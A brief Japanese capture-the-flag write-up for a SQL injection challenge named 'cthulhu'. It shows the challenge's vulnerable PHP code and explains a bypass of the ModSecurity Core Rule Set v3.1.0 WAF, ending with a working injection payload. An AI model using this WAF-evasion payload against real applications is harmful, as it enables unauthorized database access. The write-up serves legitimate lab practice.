<?php include "./welcome.php"; include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_cthulhu where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) solve("cthulhu"); highlight_file(__FILE__);
特徴は以下。
- id,pwが入力可能
prob,_,.,(),admin
がフィルタリング
- 問題文に書いてあるが、ModSecurityによるWAFが導入されている
- idに何かを入れればいい
とりあえずidに' or 1 #
を入れると、Forbiddenと帰ってくる。WAFか。
ModSecurity Core Rule Set v3.1.0
でググってみると、情報が出てくる。
Bypass the latest CRS v3.1.0 rules of SQL injection · Issue #1181 · SpiderLabs/owasp-modsecurity-crs
-1'<@=1 OR {x (select 1)}='1
が紹介されている。
idに-1'<@=1 OR {x (select 1)}='1'#
を入れるとAC。